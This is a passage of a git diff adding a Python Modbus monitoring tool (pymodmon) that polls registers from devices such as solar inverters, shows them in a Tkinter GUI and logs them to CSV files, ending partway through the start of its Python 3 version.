tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + 